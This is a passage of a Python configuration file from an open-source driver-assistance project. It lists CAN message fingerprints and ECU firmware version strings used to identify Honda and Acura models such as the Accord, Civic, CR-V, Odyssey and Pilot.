1639: 8 }], # 2017 Pilot Touring AND 2016 Pilot EX-L w/ Added Comma Pedal Support (512L & 513L) CAR.PILOT: [{ 57: 3, 145: 8, 228: 5, 229: 4, 308: 5, 316: 8, 334: 8, 339: 7, 342: 6, 344: 8, 379: 8, 380: 8, 392: 6, 399: 7, 419: 8, 420: 8, 422: 8, 425: 8, 426: 8, 427: 3, 432: 7, 463: 8, 464: 8, 476: 4, 490: 8, 506: 8, 507: 1, 512: 6, 513: 6, 538: 3, 542: 7, 545: 5, 546: 3, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 808: 8, 819: 7, 821: 5, 829: 5, 837: 5, 856: 7, 871: 8, 882: 2, 884: 7, 891: 8, 892: 8, 923: 2, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1088: 8, 1089: 8, 1108: 8, 1125: 8, 1296: 8, 1424: 5, 1600: 5, 1601: 8, 1612: 5, 1613: 5, 1616: 5, 1618: 5, 1668: 5 }], # this fingerprint also includes the Passport 2019 CAR.PILOT_2019: [{ 57: 3, 145: 8, 228: 5, 308: 5, 316: 8, 334: 8, 342: 6, 344: 8, 379: 8, 380: 8, 399: 7, 411: 5, 419: 8, 420: 8, 422: 8, 425: 8, 426: 8, 427: 3, 432: 7, 463: 8, 464: 8, 476: 4, 490: 8, 506: 8, 512: 6, 513: 6, 538: 3, 542: 7, 545: 5, 546: 3, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 808: 8, 817: 4, 819: 7, 821: 5, 825: 4, 829: 5, 837: 5, 856: 7, 871: 8, 881: 8, 882: 2, 884: 7, 891: 8, 892: 8, 923: 2, 927: 8, 929: 8, 983: 8, 985: 3, 1029: 8, 1052: 8, 1064: 7, 1088: 8, 1089: 8, 1092: 1, 1108: 8, 1110: 8, 1125: 8, 1296: 8, 1424: 5, 1445: 8, 1600: 5, 1601: 8, 1612: 5, 1613: 5, 1614: 5, 1615: 8, 1616: 5, 1617: 8, 1618: 5, 1623: 5, 1668: 5 }, # 2019 Pilot EX-L { 57: 3, 145: 8, 228: 5, 229: 4, 308: 5, 316: 8, 339: 7, 342: 6, 344: 8, 380: 8, 392: 6, 399: 7, 411: 5, 419: 8, 420: 8, 422: 8, 425: 8, 426: 8, 427: 3, 432: 7, 464: 8, 476: 4, 490: 8, 506: 8, 512: 6, 513: 6, 542: 7, 545: 5, 546: 3, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 808: 8, 817: 4, 819: 7, 821: 5, 829: 5, 871: 8, 881: 8, 882: 2, 884: 7, 891: 8, 892: 8, 923: 2, 927: 8, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1027: 5, 1029: 8, 1039: 8, 1064: 7, 1088: 8, 1089: 8, 1092: 1, 1108: 8, 1125: 8, 1296: 8, 1424: 5, 1445: 8, 1600: 5, 1601: 8, 1612: 5, 1613: 5, 1616: 5, 1617: 8, 1618: 5, 1623: 5, 1668: 5 }], # Ridgeline w/ Added Comma Pedal Support (512L & 513L) CAR.RIDGELINE: [{ 57: 3, 145: 8, 228: 5, 229: 4, 308: 5, 316: 8, 339: 7, 342: 6, 344: 8, 380: 8, 392: 6, 399: 7, 419: 8, 420: 8, 422: 8, 425: 8, 426: 8, 427: 3, 432: 7, 464: 8, 471: 3, 476: 4, 490: 8, 506: 8, 512: 6, 513: 6, 545: 5, 546: 3, 597: 8, 660: 8, 773: 7, 777: 8, 780: 8, 795: 8, 800: 8, 804: 8, 808: 8, 819: 7, 821: 5, 829: 5, 871: 8, 882: 2, 884: 7, 892: 8, 923: 2, 927: 8, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1088: 8, 1089: 8, 1108: 8, 1125: 8, 1296: 8, 1365: 5, 1424: 5, 1600: 5, 1601: 8, 1613: 5, 1616: 5, 1618: 5, 1668: 5, 2015: 3 }, # 2019 Ridgeline { 57: 3, 145: 8, 228: 5, 229: 4, 308: 5, 316: 8, 339: 7, 342: 6, 344: 8, 380: 8, 392: 6, 399: 7, 419: 8, 420: 8, 422: 8, 425: 8, 426: 8, 427: 3, 432: 7, 464: 8, 476: 4, 490: 8, 512: 6, 513: 6, 545: 5, 546: 3, 597: 8, 660: 8, 773: 7, 777: 8, 795: 8, 800: 8, 804: 8, 808: 8, 819: 7, 821: 5, 871: 8, 882: 2, 884: 7, 892: 8, 923: 2, 929: 8, 963: 8, 965: 8, 966: 8, 967: 8, 983: 8, 985: 3, 1027: 5, 1029: 8, 1036: 8, 1039: 8, 1064: 7, 1088: 8, 1089: 8, 1092: 1, 1108: 8, 1125: 8, 1296: 8, 1365: 5, 424: 5, 1613: 5, 1616: 5, 1618: 5, 1623: 5, 1668: 5 }], # 2019 Insight CAR.INSIGHT: [{ 57: 3, 148: 8, 228: 5, 304: 8, 330: 8, 344: 8, 380: 8, 387: 8, 388: 8, 399: 7, 419: 8, 420: 8, 427: 3, 432: 7, 441: 5, 450: 8, 464: 8, 476: 8, 477: 8, 479: 8, 490: 8, 495: 8, 507: 1, 525: 8, 531: 8, 545: 6, 547: 6, 597: 8, 662: 4, 773: 7, 777: 8, 780: 8, 795: 8, 804: 8, 806: 8, 808: 8, 814: 4, 815: 8, 829: 5, 832: 3, 862: 8, 884: 8, 891: 8, 927: 8, 929: 8, 954: 2, 985: 3, 1029: 8, 1093: 4, 1115: 2, 1302: 8, 1361: 5, 1365: 5, 1600: 5, 1601: 8, 1652: 8, 2015: 3 }] } # Don't use theses fingerprints for fingerprinting, they are still needed for ECU detection IGNORED_FINGERPRINTS = [CAR.INSIGHT, CAR.CIVIC_BOSCH_DIESEL, CAR.CRV_EU, CAR.HRV] # add DIAG_MSGS to fingerprints for c in FINGERPRINTS: for f, _ in enumerate(FINGERPRINTS[c]): for d in DIAG_MSGS: FINGERPRINTS[c][f][d] = DIAG_MSGS[d] # TODO: Figure out what is relevant FW_VERSIONS = { CAR.CLARITY: { (Ecu.vsa, 0x18da28f1, None): [b'57114-TRW-A020\x00\x00'], (Ecu.eps, 0x18da30f1, None): [b'39990-TRW-A020\x00\x00'], }, CAR.ACCORD: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-6A0-A640\x00\x00', b'37805-6B2-A550\x00\x00', b'37805-6B2-A560\x00\x00', b'37805-6B2-A650\x00\x00', b'37805-6B2-A660\x00\x00', b'37805-6B2-A720\x00\x00', b'37805-6B2-M520\x00\x00', ], (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-TVC-A910\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28102-6B8-A560\x00\x00', b'28102-6B8-A570\x00\x00', b'28102-6B8-A800\x00\x00', b'28102-6B8-C570\x00\x00', b'28102-6B8-M520\x00\x00', ], (Ecu.electricBrakeBooster, 0x18da2bf1, None): [ b'46114-TVA-A060\x00\x00', b'46114-TVA-A080\x00\x00', b'46114-TVA-A120\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TVA-C040\x00\x00', b'57114-TVA-C050\x00\x00', b'57114-TVA-C060\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TVA,A150\x00\x00', b'39990-TVA-A150\x00\x00', b'39990-TVA-A160\x00\x00', b'39990-TVA-X030\x00\x00', ], (Ecu.unknown, 0x18da3af1, None): [ b'39390-TVA-A020\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TVA-A460\x00\x00', b'77959-TVA-X330\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TVA-A210\x00\x00', b'78109-TVC-A010\x00\x00', b'78109-TVC-A020\x00\x00', b'78109-TVC-A110\x00\x00', b'78109-TVC-A210\x00\x00', b'78109-TVC-C110\x00\x00', b'78109-TVC-M510\x00\x00', ], (Ecu.hud, 0x18da61f1, None): [ b'78209-TVA-A010\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TVA-A160\x00\x00', b'36802-TVA-A170\x00\x00', b'36802-TWA-A070\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TVA-A060\x00\x00', b'36161-TWA-A070\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TVA-A010\x00\x00', ], }, CAR.ACCORD_15: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-6A0-9620\x00\x00', b'37805-6A0-A540\x00\x00', b'37805-6A0-A640\x00\x00', b'37805-6A0-A650\x00\x00', b'37805-6A0-A740\x00\x00', b'37805-6A0-A750\x00\x00', b'37805-6A0-A840\x00\x00', b'37805-6A0-A850\x00\x00', b'37805-6A0-C540\x00\x00', b'37805-6A1-H650\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-6A7-A220\x00\x00', b'28101-6A7-A230\x00\x00', b'28101-6A7-A320\x00\x00', b'28101-6A7-A330\x00\x00', b'28101-6A7-A510\x00\x00', b'28101-6A9-H140\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TVA-A230\x00\x00', ], (Ecu.electricBrakeBooster, 0x18da2bf1, None): [ b'46114-TVA-A050\x00\x00', b'46114-TVA-A060\x00\x00', b'46114-TVA-A080\x00\x00', b'46114-TVA-A120\x00\x00', b'46114-TVE-H550\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TVA-A010\x00\x00', b'78109-TVA-A110\x00\x00', b'78109-TVA-A210\x00\x00', b'78109-TVA-A220\x00\x00', b'78109-TVA-A310\x00\x00', b'78109-TVA-C010\x00\x00', b'78109-TVE-H610\x00\x00', b'78109-TWA-A210\x00\x00', ], (Ecu.hud, 0x18da61f1, None): [ b'78209-TVA-A010\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TVA-A060\x00\x00', b'36161-TVE-H050\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TVA-A460\x00\x00', b'77959-TVA-H230\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TVA-B050\x00\x00', b'57114-TVA-B040\x00\x00', b'57114-TVE-H250\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TVA-A150\x00\x00', b'36802-TVA-A160\x00\x00', b'36802-TVA-A170\x00\x00', b'36802-TVE-H070\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TVA-A140\x00\x00', b'39990-TVA-A150\x00\x00', # Are these two different steerRatio? b'39990-TVA-A160\x00\x00', # Sport, Sport 2.0T and Touring 2.0T have different ratios b'39990-TVE-H130\x00\x00', ], }, CAR.ACCORDH: { (Ecu.gateway, 0x18daeff1, None): [ b'38897-TWA-A120\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TWA-A040\x00\x00', b'57114-TWA-A050\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TWA-A440\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TWA-A010\x00\x00', b'78109-TWA-A020\x00\x00', b'78109-TWA-A110\x00\x00', b'78109-TWA-A120\x00\x00', b'78109-TWA-A210\x00\x00', b'78109-TWA-A220\x00\x00', ], (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-TWA-A910\x00\x00', ], (Ecu.hud, 0x18da61f1, None): [ b'78209-TVA-A010\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TWA-A070\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TWA-A080\x00\x00', b'36802-TWA-A070\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TVA-A160\x00\x00', b'39990-TVA-A150\x00\x00', ], }, CAR.CIVIC: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-5AA-A640\x00\x00', b'37805-5AA-A650\x00\x00', b'37805-5AA-A670\x00\x00', b'37805-5AA-A680\x00\x00', b'37805-5AA-A810\x00\x00', b'37805-5AA-C680\x00\x00', b'37805-5AA-C820\x00\x00', b'37805-5AA-L650\x00\x00', b'37805-5AA-L660\x00\x00', b'37805-5AA-L680\x00\x00', b'37805-5AA-L690\x00\x00', b'37805-5AJ-A610\x00\x00', b'37805-5AJ-A620\x00\x00', b'37805-5BA-A310\x00\x00', b'37805-5BA-A510\x00\x00', b'37805-5BA-A740\x00\x00', b'37805-5BA-A760\x00\x00', b'37805-5BA-A960\x00\x00', b'37805-5BA-L930\x00\x00', b'37805-5BA-L940\x00\x00', b'37805-5BA-L960\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5CG-A040\x00\x00', b'28101-5CG-A050\x00\x00', b'28101-5CG-A070\x00\x00', b'28101-5CG-A080\x00\x00', b'28101-5CG-A810\x00\x00', b'28101-5CG-A820\x00\x00', b'28101-5DJ-A040\x00\x00', b'28101-5DJ-A060\x00\x00', b'28101-5DJ-A510\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TBA-A540\x00\x00', b'57114-TBA-A550\x00\x00', b'57114-TBA-A560\x00\x00', b'57114-TBA-A570\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TBA,A030\x00\x00', b'39990-TBA-A030\x00\x00', b'39990-TBG-A030\x00\x00', b'39990-TEG-A010\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TBA-A030\x00\x00', b'77959-TBA-A040\x00\x00', b'77959-TBG-A030\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TBA-A510\x00\x00', b'78109-TBA-A520\x00\x00', b'78109-TBA-A530\x00\x00', b'78109-TBC-A310\x00\x00', b'78109-TBC-A320\x00\x00', b'78109-TBC-A510\x00\x00', b'78109-TBC-A520\x00\x00', b'78109-TBC-A530\x00\x00', b'78109-TBC-C510\x00\x00', b'78109-TBC-C520\x00\x00', b'78109-TBC-C530\x00\x00', b'78109-TBH-A530\x00\x00', b'78109-TEG-A310\x00\x00', ], (Ecu.fwdCamera, 0x18dab0f1, None): [ b'36161-TBA-A020\x00\x00', b'36161-TBA-A030\x00\x00', b'36161-TBA-A040\x00\x00', b'36161-TBC-A020\x00\x00', b'36161-TBC-A030\x00\x00', b'36161-TEG-A010\x00\x00', b'36161-TEG-A020\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TBA-A010\x00\x00', b'38897-TBA-A020\x00\x00', ], }, CAR.CIVIC_BOSCH: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-5AA-A940\x00\x00', b'37805-5AA-A950\x00\x00', b'37805-5AA-L940\x00\x00', b'37805-5AA-L950\x00\x00', b'37805-5AN-A750\x00\x00', b'37805-5AN-A830\x00\x00', b'37805-5AN-A840\x00\x00', b'37805-5AN-A930\x00\x00', b'37805-5AN-A940\x00\x00', b'37805-5AN-A950\x00\x00', b'37805-5AN-AG20\x00\x00', b'37805-5AN-AH20\x00\x00', b'37805-5AN-AJ30\x00\x00', b'37805-5AN-AK20\x00\x00', b'37805-5AN-AR20\x00\x00', b'37805-5AN-L940\x00\x00', b'37805-5AN-LF20\x00\x00', b'37805-5AN-LH20\x00\x00', b'37805-5AN-LJ20\x00\x00', b'37805-5AN-LR20\x00\x00', b'37805-5AN-LS20\x00\x00', b'37805-5AW-G720\x00\x00', b'37805-5AZ-E850\x00\x00', b'37805-5BB-A630\x00\x00', b'37805-5BB-A640\x00\x00', b'37805-5BB-C540\x00\x00', b'37805-5BB-C630\x00\x00', b'37805-5BB-L540\x00\x00', b'37805-5BB-L640\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5CG-A920\x00\x00', b'28101-5CG-AB10\x00\x00', b'28101-5CG-C110\x00\x00', b'28101-5CG-C220\x00\x00', b'28101-5CG-C320\x00\x00', b'28101-5CG-G020\x00\x00', b'28101-5CK-A130\x00\x00', b'28101-5CK-A140\x00\x00', b'28101-5CK-A150\x00\x00', b'28101-5CK-C130\x00\x00', b'28101-5CK-C140\x00\x00', b'28101-5DJ-A610\x00\x00', b'28101-5DJ-A710\x00\x00', b'28101-5DV-E330\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TBG-A340\x00\x00', b'57114-TBG-A350\x00\x00', b'57114-TGG-A340\x00\x00', b'57114-TGG-C320\x00\x00', b'57114-TGG-L320\x00\x00', b'57114-TGG-L330\x00\x00', b'57114-TGL-G330\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TBA-C020\x00\x00', b'39990-TBA-C120\x00\x00', b'39990-TEZ-T020\x00\x00', b'39990-TGG-A020\x00\x00', b'39990-TGG-A120\x00\x00', b'39990-TGL-E130\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TBA-A060\x00\x00', b'77959-TEA-G020\x00\x00', b'77959-TGG-A020\x00\x00', b'77959-TGG-A030\x00\x00', b'77959-TGG-G010\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TBA-A110\x00\x00', b'78109-TBA-A910\x00\x00', b'78109-TBA-C340\x00\x00', b'78109-TBA-C910\x00\x00', b'78109-TBC-A740\x00\x00', b'78109-TFJ-G020\x00\x00', b'78109-TGG-A210\x00\x00', b'78109-TGG-A220\x00\x00', b'78109-TGG-A310\x00\x00', b'78109-TGG-A320\x00\x00', b'78109-TGG-A330\x00\x00', b'78109-TGG-A610\x00\x00', b'78109-TGG-A620\x00\x00', b'78109-TGG-A810\x00\x00', b'78109-TGG-A820\x00\x00', b'78109-TGL-G120\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TBA-A150\x00\x00', b'36802-TFJ-G060\x00\x00', b'36802-TGG-A050\x00\x00', b'36802-TGG-A060\x00\x00', b'36802-TGG-A130\x00\x00', b'36802-TGL-G040\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TBA-A130\x00\x00', b'36161-TBA-A140\x00\x00', b'36161-TFJ-G070\x00\x00', b'36161-TGG-A060\x00\x00', b'36161-TGG-A080\x00\x00', b'36161-TGG-A120\x00\x00', b'36161-TGL-G050\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TBA-A110\x00\x00', b'38897-TBA-A020\x00\x00', ], }, CAR.CIVIC_BOSCH_DIESEL: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [b'37805-59N-G830\x00\x00'], (Ecu.transmission, 0x18da1ef1, None): [b'28101-59Y-G620\x00\x00'], (Ecu.vsa, 0x18da28f1, None): [b'57114-TGN-E320\x00\x00'], (Ecu.eps, 0x18da30f1, None): [b'39990-TFK-G020\x00\x00'], (Ecu.srs, 0x18da53f1, None): [b'77959-TFK-G210\x00\x00'], (Ecu.combinationMeter, 0x18da60f1, None): [b'78109-TFK-G020\x00\x00'], (Ecu.fwdRadar, 0x18dab0f1, None): [b'36802-TFK-G130\x00\x00'], (Ecu.shiftByWire, 0x18da0bf1, None): [b'54008-TGN-E010\x00\x00'], (Ecu.fwdCamera, 0x18dab5f1, None): [b'36161-TFK-G130\x00\x00'], (Ecu.gateway, 0x18daeff1, None): [b'38897-TBA-A020\x00\x00'], }, CAR.CRV: { (Ecu.vsa, 0x18da28f1, None): [b'57114-T1W-A230\x00\x00',], (Ecu.srs, 0x18da53f1, None): [b'77959-T0A-A230\x00\x00',], (Ecu.combinationMeter, 0x18da60f1, None): [b'78109-T1W-A210\x00\x00',], (Ecu.fwdRadar, 0x18dab0f1, None): [b'36161-T1W-A830\x00\x00',], }, CAR.CRV_5G: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-5PA-3060\x00\x00', b'37805-5PA-3080\x00\x00', b'37805-5PA-4050\x00\x00', b'37805-5PA-6520\x00\x00', b'37805-5PA-6530\x00\x00', b'37805-5PA-6630\x00\x00', b'37805-5PA-9640\x00\x00', b'37805-5PA-9830\x00\x00', b'37805-5PA-A650\x00\x00', b'37805-5PA-A670\x00\x00', b'37805-5PA-A680\x00\x00', b'37805-5PA-A850\x00\x00', b'37805-5PA-A870\x00\x00', b'37805-5PA-A880\x00\x00', b'37805-5PA-A890\x00\x00', b'37805-5PD-Q630\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5RG-A020\x00\x00', b'28101-5RG-A030\x00\x00', b'28101-5RG-A040\x00\x00', b'28101-5RG-A120\x00\x00', b'28101-5RG-A220\x00\x00', b'28101-5RH-A020\x00\x00', b'28101-5RH-A030\x00\x00', b'28101-5RH-A040\x00\x00', b'28101-5RH-A120\x00\x00', b'28101-5RH-A220\x00\x00', b'28101-5RL-Q010\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TLA-A040\x00\x00', b'57114-TLA-A050\x00\x00', b'57114-TLA-A060\x00\x00', b'57114-TLB-A830\x00\x00', b'57114-TMC-Z050\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TLA,A040\x00\x00', b'39990-TLA-A040\x00\x00', b'39990-TLA-A110\x00\x00', b'39990-TLA-A220\x00\x00', b'39990-TMT-T010\x00\x00', ], (Ecu.electricBrakeBooster, 0x18da2bf1, None): [ b'46114-TLA-A040\x00\x00', b'46114-TLA-A050\x00\x00', b'46114-TLA-A930\x00\x00', b'46114-TMC-U020\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TLA-A110\x00\x00', b'78109-TLA-A210\x00\x00', b'78109-TLA-A220\x00\x00', b'78109-TLA-C210\x00\x00', b'78109-TLB-A110\x00\x00', b'78109-TLB-A210\x00\x00', b'78109-TLB-A220\x00\x00', b'78109-TMC-Q210\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TLA-A010\x00\x00', b'38897-TLA-A110\x00\x00', b'38897-TNY-G010\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TLA-A040\x00\x00', b'36802-TLA-A050\x00\x00', b'36802-TLA-A060\x00\x00', b'36802-TMC-Q070\x00\x00', b'36802-TNY-A030\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TLA-A060\x00\x00', b'36161-TLA-A070\x00\x00', b'36161-TLA-A080\x00\x00', b'36161-TMC-Q040\x00\x00', b'36161-TNY-A020\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TLA-A240\x00\x00', b'77959-TLA-A250\x00\x00', b'77959-TLA-A320\x00\x00', b'77959-TLA-Q040\x00\x00', ], }, CAR.CRV_EU: { (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-R5Z-G740\x00\x00', b'37805-R5Z-G780\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [b'57114-T1V-G920\x00\x00'], (Ecu.fwdRadar, 0x18dab0f1, None): [b'36161-T1V-G520\x00\x00'], (Ecu.shiftByWire, 0x18da0bf1, None): [b'54008-T1V-G010\x00\x00'], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5LH-E120\x00\x00', b'28103-5LH-E100\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-T1V-G020\x00\x00', b'78109-T1B-3050\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [b'77959-T1G-G940\x00\x00'], }, CAR.CRV_HYBRID: { (Ecu.vsa, 0x18da28f1, None): [ b'57114-TPA-G020\x00\x00', b'57114-TPG-A020\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TPA-G030\x00\x00', b'39990-TPG-A020\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TMA-H110\x00\x00', b'38897-TPG-A110\x00\x00', ], (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-TMB-H510\x00\x00', b'54008-TMB-H610\x00\x00', ], (Ecu.fwdCamera, 0x18dab5f1, None): [ b'36161-TPA-E050\x00\x00', b'36161-TPG-A030\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TPA-G520\x00\x00', b'78109-TPG-A110\x00\x00', ], (Ecu.hud, 0x18da61f1, None): [ b'78209-TLA-X010\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36802-TPA-E040\x00\x00', b'36802-TPG-A020\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TLA-G220\x00\x00', b'77959-TLA-C320\x00\x00', ], }, CAR.FIT: { (Ecu.vsa, 0x18da28f1, None): [ b'57114-T5R-L220\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-T5R-C020\x00\x00', b'39990-T5R-C030\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-T5A-J010\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-T5A-A420\x00\x00', b'78109-T5A-A910\x00\x00', ], (Ecu.fwdRadar, 0x18dab0f1, None): [ b'36161-T5R-A240\x00\x00', b'36161-T5R-A520\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-T5R-A230\x00\x00', ], }, CAR.ODYSSEY: { (Ecu.gateway, 0x18daeff1, None): [ b'38897-THR-A010\x00\x00', b'38897-THR-A020\x00\x00', ], (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-5MR-A250\x00\x00', b'37805-5MR-A310\x00\x00', b'37805-5MR-A750\x00\x00', b'37805-5MR-A840\x00\x00', b'37805-5MR-C620\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-THR-A020\x00\x00', b'39990-THR-A030\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-THR-A010\x00\x00', b'77959-THR-A110\x00\x00', ], (Ecu.fwdCamera, 0x18dab0f1, None): [ b'36161-THR-A030\x00\x00', b'36161-THR-A110\x00\x00', b'36161-THR-A720\x00\x00', b'36161-THR-A730\x00\x00', b'36161-THR-A810\x00\x00', b'36161-THR-A910\x00\x00', b'36161-THR-C010\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5NZ-A310\x00\x00', b'28101-5NZ-C310\x00\x00', b'28102-5MX-A001\x00\x00', b'28102-5MX-A600\x00\x00', b'28102-5MX-A610\x00\x00', b'28102-5MX-A710\x00\x00', b'28102-5MX-A900\x00\x00', b'28102-5MX-A910\x00\x00', b'28102-5MX-C001\x00\x00', b'28103-5NZ-A300\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-THR-A040\x00\x00', b'57114-THR-A110\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-THR-A230\x00\x00', b'78109-THR-A430\x00\x00', b'78109-THR-A820\x00\x00', b'78109-THR-A830\x00\x00', b'78109-THR-AB20\x00\x00', b'78109-THR-AB30\x00\x00', b'78109-THR-AB40\x00\x00', b'78109-THR-AC40\x00\x00', b'78109-THR-AE20\x00\x00', b'78109-THR-AE40\x00\x00', b'78109-THR-AL10\x00\x00', b'78109-THR-AN10\x00\x00', b'78109-THR-C330\x00\x00', b'78109-THR-CE20\x00\x00', ], (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-THR-A020\x00\x00', ], }, CAR.PILOT: { (Ecu.shiftByWire, 0x18da0bf1, None): [ b'54008-TG7-A520\x00\x00', ], (Ecu.transmission, 0x18da1ef1, None): [ b'28101-5EZ-A210\x00\x00', b'28101-5EZ-A100\x00\x00', b'28101-5EZ-A060\x00\x00', b'28101-5EZ-A050\x00\x00', ], (Ecu.programmedFuelInjection, 0x18da10f1, None): [ b'37805-RLV-C910\x00\x00', b'37805-RLV-C520\x00\x00', b'37805-RLV-C510\x00\x00', b'37805-RLV-4070\x00\x00', b'37805-RLV-A830\x00\x00', ], (Ecu.eps, 0x18da30f1, None): [ b'39990-TG7-A040\x00\x00', b'39990-TG7-A030\x00\x00', ], (Ecu.fwdCamera, 0x18dab0f1, None): [ b'36161-TG7-A520\x00\x00', b'36161-TG7-A820\x00\x00', b'36161-TG7-A720\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TG7-A110\x00\x00', b'77959-TG7-A020\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TG7-A720\x00\x00', b'78109-TG7-A520\x00\x00', b'78109-TG7-A420\x00\x00', b'78109-TG7-A040\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ b'57114-TG7-A140\x00\x00', b'57114-TG7-A240\x00\x00', b'57114-TG7-A230\x00\x00', ], }, CAR.PILOT_2019: { (Ecu.eps, 0x18da30f1, None): [ b'39990-TG7-A060\x00\x00', b'39990-TGS-A230\x00\x00', ], (Ecu.gateway, 0x18daeff1, None): [ b'38897-TG7-A030\x00\x00', b'38897-TG7-A110\x00\x00', b'38897-TG7-A210\x00\x00', ], (Ecu.fwdCamera, 0x18dab0f1, None): [ b'36161-TG7-A630\x00\x00', b'36161-TG7-A930\x00\x00', b'36161-TG8-A630\x00\x00', b'36161-TGS-A130\x00\x00', b'36161-TGT-A030\x00\x00', ], (Ecu.srs, 0x18da53f1, None): [ b'77959-TG7-A210\x00\x00', b'77959-TGS-A010\x00\x00', ], (Ecu.combinationMeter, 0x18da60f1, None): [ b'78109-TG7-AJ20\x00\x00', b'78109-TG7-AK10\x00\x00', b'78109-TG7-AK20\x00\x00', b'78109-TG7-AP10\x00\x00', b'78109-TG7-AP20\x00\x00', b'78109-TG8-AJ20\x00\x00', b'78109-TGS-AK20\x00\x00', b'78109-TGS-AP20\x00\x00', b'78109-TGT-AJ20\x00\x00', ], (Ecu.vsa, 0x18da28f1, None): [ 